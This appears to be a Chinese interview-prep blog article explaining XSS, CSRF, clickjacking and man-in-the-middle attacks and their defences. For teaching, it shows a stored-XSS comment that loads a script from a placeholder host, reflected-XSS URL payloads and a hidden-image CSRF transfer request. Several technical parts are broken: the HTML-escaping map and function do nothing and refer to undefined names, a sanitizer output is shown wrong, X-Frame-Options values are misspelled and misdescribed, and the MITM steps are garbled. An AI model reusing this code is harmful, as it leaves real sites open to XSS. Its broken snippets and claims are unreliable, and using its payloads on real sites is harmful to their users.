你在項(xiàng)目中做過哪些安全防范措施?
如果你被面試官問到這個問題,不要急于描述自己遇到的問題以及如何處理的,你得先去理解問題中的潛臺詞。“做過哪些措施”更深層的意思是“你熟悉哪些攻擊方式,知道哪些解決方案?”當(dāng)然,不可能把每次做的安全防范措施都一一的說給面試官聽, 這樣顯得沒有重點(diǎn)。
「做哪些安全防范」換個思維思考“有哪些攻擊方式?”,那么我們就可以基于攻擊方式的分類,來討論究竟有哪些防范攻擊的措施。
從而可以梳理出關(guān)于這個問題回答的思路:

XSS 攻擊
按照之前說的思路,先講概念,說用途
什么是XSS攻擊
XSS即Cross Site Scripting(跨站腳本攻擊),指的是攻擊者想盡一切辦法將一些可執(zhí)行的代碼注入到網(wǎng)頁中,利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進(jìn)而危害數(shù)據(jù)安全。為了不和層疊樣式表CSS混淆,故將其縮寫為 XSS
XSS 可以分為:存儲型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。
存儲型
存儲型也就是攻擊的代碼被服務(wù)端寫入進(jìn)數(shù)據(jù)庫中,這種攻擊危害性很大,因?yàn)槿绻W(wǎng)站訪問量很大的話,就會導(dǎo)致大量正常訪問頁面的用戶都受到攻擊。
這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評論、用戶私信等。具有攻擊性的腳本被保存到了服務(wù)器并且可以被普通用戶完整的從服務(wù)的取得并執(zhí)行,從而獲得了在網(wǎng)絡(luò)上傳播的能力。
反射型
反射型也叫非持久型,相比于前者危害就小一些,一般通過修改 URL 參數(shù)的方式加入攻擊代碼,誘導(dǎo)用戶訪問鏈接從而進(jìn)行攻擊。
這種常見于通過 URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。
二者區(qū)別:存儲型 XSS 的惡意代碼存在數(shù)據(jù)庫里,反射型 XSS 的惡意代碼存在 URL 里。
舉兩個案例幫助更好的理解:當(dāng)我們在做商品評論時,用戶輸入的內(nèi)容未經(jīng)過過濾直接保存到數(shù)據(jù)庫中。
攻擊者可以構(gòu)建一條評論, 包含惡意內(nèi)容:
質(zhì)量非常不錯!<script src="danger.com/spread.js"></script>
當(dāng)你的評論列表被用戶瀏覽時, 直接從服務(wù)端取出,回填到HTML響應(yīng)中:
<li>質(zhì)量非常不錯!<script src="danger.com/spread.js"></script></li>
那么瀏覽器會加載執(zhí)行惡意腳本danger.com/spread.js, 在惡意腳本中利用用戶的登錄狀態(tài)發(fā)更多的帶有惡意評論的URL, 誘導(dǎo)更多人點(diǎn)擊,層層傳播,放大攻擊范圍。
這個案例就是一個典型的存儲型XSS攻擊。再來看一個反射型攻擊案例:
某天小范開發(fā)了一個搜索頁面,通過用戶輸入搜索內(nèi)容,展示相應(yīng)的數(shù)據(jù):
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>點(diǎn)我</a>
有時攻擊者會偽造一個圖片,讓你點(diǎn)擊后鏈接跳轉(zhuǎn)URL。
對于這種攻擊方式來說,如果用戶使用的是Chrome 瀏覽器的話,瀏覽器已經(jīng)幫助用戶做了防御攻擊。但是我們也不能說就不防御了,因?yàn)闊o法保證用戶都是用有防御攻擊的瀏覽器。
XSS攻擊如何進(jìn)行防范
我們講了這么XSS的原理和危害,那么我們在日常開發(fā)當(dāng)中到底該如何預(yù)防呢?
1.輸入輸出過濾
一切用戶輸入皆不可信,在輸出時進(jìn)行驗(yàn)證,一般做法是將 ‘ ” < > & 這些個危險字符進(jìn)行轉(zhuǎn)義。
const signs = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
const signReg = /[&<>"']/g
function escape(string) {
return (string && reUnescapedHtml.test(string))
? string.replace(reUnescapedHtml, (chr) =>htmlEscapes[chr])
: string
}
通過轉(zhuǎn)義<script></script>將被轉(zhuǎn)義成<script></script>
對于URL地址的轉(zhuǎn)義可以使用
encodeURI,當(dāng)你需要編碼URL中的參數(shù)的時候,那么encodeURIComponent是最好方法。
上面對字符進(jìn)行轉(zhuǎn)義的方式很明顯并不適用于所有場景,比如富文本,這樣會將需要的格式都過濾掉。因?yàn)镠TML標(biāo)簽種類繁多,基于黑名單的過濾方法考慮的并不全面,所以我們可以根據(jù)白名單過濾HTML, 可以借助xss.js來完成:
// 瀏覽器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>
使用:
filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')
輸出結(jié)果:
<h1>XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p>Whitelist</p>
如果后端直接將字符串存入數(shù)據(jù)庫也是不妥的,后端也必須做處理,因?yàn)榘l(fā)送到后端的內(nèi)容還可以通過其他方式, 前端處理并不能保障安全。
2. Cookie 的 HttpOnly
當(dāng)用戶的登錄憑證存儲于服務(wù)器的 session 中,而在瀏覽器中是以 cookie 的形式存儲的。很多XSS攻擊目標(biāo)都是竊取用戶cookie偽造身份認(rèn)證。
可以通過在 cookie 中設(shè)置 HttpOnly 屬性,js腳本將無法讀取到 cookie 信息。
ctx.cookies.set(name, value, {
httpOnly: true // 默認(rèn)為 true
})
3. CSP(內(nèi)容安全策略)
CSP (Content Security Policy,內(nèi)容安全策略)是 W3C 提出的 ,本質(zhì)上就是白名單制度,開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行。它的實(shí)現(xiàn)和執(zhí)行全部由瀏覽器完成,我們只需提供配置。
CSP 大大增強(qiáng)了網(wǎng)頁的安全性。攻擊者即使發(fā)現(xiàn)了漏洞,也沒法注入腳本,除非還控制了一臺列入了白名單的可信主機(jī)。
兩種方法可以啟用 CSP:
一種是通過 HTTP 頭信息的 Content-Security-Policy的字段另一種是通過網(wǎng)頁的 <meta>標(biāo)簽
方式1舉例
Content-Security-Policy: default-src ‘self’
表示只允許加載本站資源
Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'
CSP 的值中,不同屬性以 ; 隔開,同一屬性的多個值以空格隔開。上面例子的意思就是默認(rèn)允許讀取 https://demo.example.cn和https://cdn.example2.net 的資源,object-src 使用的相關(guān)資源無白名單,也就是完全不允許讀出。
如果使用了不符合要求的資源,瀏覽器會給予攔截,給出下面提示:
Refused to execute inline script because it violates the following Content Security Policy directive
我們也可以使用 meta 標(biāo)簽代替 HTTP 頭:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy 的常用選項(xiàng)有這些:
default-src: 是 src 選項(xiàng)的默認(rèn)值,但不能覆蓋以下值: base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandboxbase-uri:特別說一下 <base>標(biāo)簽是因?yàn)楣侣崖劦奈业谝淮我姷健V付ㄓ糜谝粋€文檔中包含的所有相對 URL 的根 URL,一個文件只能有一個<base>標(biāo)簽,用起來大概是這樣的:<base target="_top" >。connect-src: XHR、WebSockets 等連接使用的地址 font-src:字體文件來源 img-src:圖片地址 media-src:音視頻地址 object-src:Flash 相關(guān) report-uri:出現(xiàn)報錯時提交到指定 uri,不能在 標(biāo)簽使用 style-src:樣式文件
CSRF 攻擊
除了上面說的XSS攻擊外,還有一種常見的攻擊方式:CSRF攻擊。
什么是CSRF攻擊
CSRF:跨站點(diǎn)請求偽造(Cross-Site Request Forgeries),也被稱為 one-click attack 或者 session riding。冒充用戶發(fā)起請求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息,刪除評論等)。
舉個例子,好友小A在銀行存有一筆錢,輸入用戶名密碼登錄銀行賬戶后,發(fā)送請求給xiaofan賬戶轉(zhuǎn)888:
http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan
轉(zhuǎn)賬過程中, 小A不小心打開了一個新頁面,進(jìn)入了黑客(xiaohei)的網(wǎng)站,而黑客網(wǎng)站有如下html代碼:
<html>
<!--其他內(nèi)容-->
<img src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei width='0' height='0'>
<!--其他內(nèi)容-->
</html>
這個模擬的img請求就會帶上小A的session值, 成功的將888轉(zhuǎn)到xiaohei的賬戶上。例子雖然是get,post請求提交表單同樣會被攻擊。
CSRF攻擊的特點(diǎn):
通常發(fā)生在第三方網(wǎng)站 攻擊者不能獲取cookie等信息,只是使用
如何防御
驗(yàn)證碼:強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互,才能完成最終請求。此種方式能很好的遏制 CSRF,但是用戶體驗(yàn)相對差。 盡量使用 post ,限制 get 使用;上一個例子可見,get 太容易被拿來做 CSRF 攻擊,但是 post 也并不是萬無一失,攻擊者只需要構(gòu)造一個form就可以。 Referer check:請求來源限制,此種方法成本最低,但是并不能保證 100% 有效,因?yàn)榉?wù)器并不是什么時候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險。 token:token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案。
CSRF 與 XSS 區(qū)別
通常來說 CSRF 是由 XSS 實(shí)現(xiàn)的,CSRF 時常也被稱為 XSRF(CSRF 實(shí)現(xiàn)的方式還可以是直接通過命令行發(fā)起請求等)。
本質(zhì)上講,XSS 是代碼注入問題,CSRF 是 HTTP 問題。XSS 是內(nèi)容沒有過濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請求時候自動帶上 cookie,而一般網(wǎng)站的 session 都存在 cookie里面。XSS 利用的是用戶對指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對用戶網(wǎng)頁瀏覽器的信任。
點(diǎn)擊劫持
點(diǎn)擊劫持(click hijacking)也稱為 UI 覆蓋攻擊。它通過一些內(nèi)容(如游戲)誤導(dǎo)被攻擊者點(diǎn)擊,雖然被攻擊者點(diǎn)擊的是他所看到的網(wǎng)頁,但其實(shí)所點(diǎn)擊的是另一個置于原網(wǎng)頁上面的透明頁面。
根據(jù)先點(diǎn)擊劫持原理示意圖,分析典型點(diǎn)擊劫持攻擊流程:

攻擊者構(gòu)建了一個非常有吸引力的網(wǎng)頁 將被攻擊的頁面放置在當(dāng)前頁面的 iframe 中 使用樣式將 iframe 疊加到非常有吸引力內(nèi)容的上方 將iframe設(shè)置為100%透明 用戶在不知情的情況下點(diǎn)擊按鈕,觸發(fā)執(zhí)行一些其他命令。
如何防御
點(diǎn)擊劫持攻擊需要首先將目標(biāo)網(wǎng)站載入到惡意網(wǎng)站中,使用 iframe 載入網(wǎng)頁是最有效的方法。
所以可以設(shè)置我們的網(wǎng)頁不允許使用iframe被加載到其他網(wǎng)頁中就可以避免這種情況了,我們可以通過在響應(yīng)頭中設(shè)置X-Frame-Options(服務(wù)器端進(jìn)行),X-Frame-Options可以設(shè)置以下三個值:
DEBY:不允許任何網(wǎng)頁使用iframe加載我這個頁面。SAMEORIGIN:只允許在相同域名(也就是自己的網(wǎng)站)下使用iframe加載這個頁面。ALLOWED-FROM origin: 允許任何網(wǎng)頁通過iframe加載我這個網(wǎng)頁。
這種方式在一些老舊的瀏覽器上是不支持的,具體可以通過can i use去查看
中間人攻擊
中間人(Man-in-the-middle attack, MITM)是指攻擊者和通訊的兩端分別創(chuàng)建獨(dú)立的聯(lián)系,并交換其得到的數(shù)據(jù),攻擊者可以攔截通信雙方的通話并插入新的內(nèi)容。

一般的過程如下:
客戶端發(fā)送請求到服務(wù)端,請求被中間?截獲 服務(wù)器向客戶端發(fā)送公鑰 中間?截獲公鑰,保留在???上。然后???成?個【偽造的】公鑰,發(fā)給客戶端 客戶端收到偽造的公鑰后,?成加密hash值發(fā)給服務(wù)器 中間?獲得加密hash值,???的私鑰解密獲得真秘鑰,同時?成假的加密hash值,發(fā)給服務(wù)器 服務(wù)器?私鑰解密獲得假密鑰,然后加密數(shù)據(jù)傳輸給客戶端
如何防御
采用HTTPS通信可以防御中間人攻擊, 但是使用HTTPS并不就絕對安全,一方面你要完全關(guān)閉HTTP通信,如果沒有完全關(guān)閉,攻擊者可以通過某些方式將HTTPS 降級為HTTP,從而實(shí)現(xiàn)中間人攻擊。
其次使用HTTPS通信,開發(fā)時也不要忽視證書的校驗(yàn),或者對于非法證書不進(jìn)行處理,這樣也容易被中間人攻擊。這里給大家推薦文章 HTTPS中間人攻擊實(shí)踐(原理?實(shí)踐)
為什么有些軟件如Fiddler可以還原h(huán)ttps報文?
Fiddler是通過中間代理的方式抓取報文,還原h(huán)ttps報文的前提是在客戶端的根證書列表下加入Fiddler生成的CA根證書。這樣Fiddler就成為CA,可以偽造數(shù)字證書,偽裝成服務(wù)器。但是只能用于測試,不能實(shí)現(xiàn)真正意義上的竊取數(shù)據(jù)。
總結(jié)
以上是我們平時開發(fā)過程中一些常見的前端安全方面的知識以及我們應(yīng)該如何防御這些攻擊。但是安全的領(lǐng)域相當(dāng)大,這些內(nèi)容只是滄海一粟,如果需要深入學(xué)習(xí)安全防御方面的知識,這是遠(yuǎn)遠(yuǎn)不夠的。
參考文章:
最后


“分享、點(diǎn)贊、在看” 支持一波
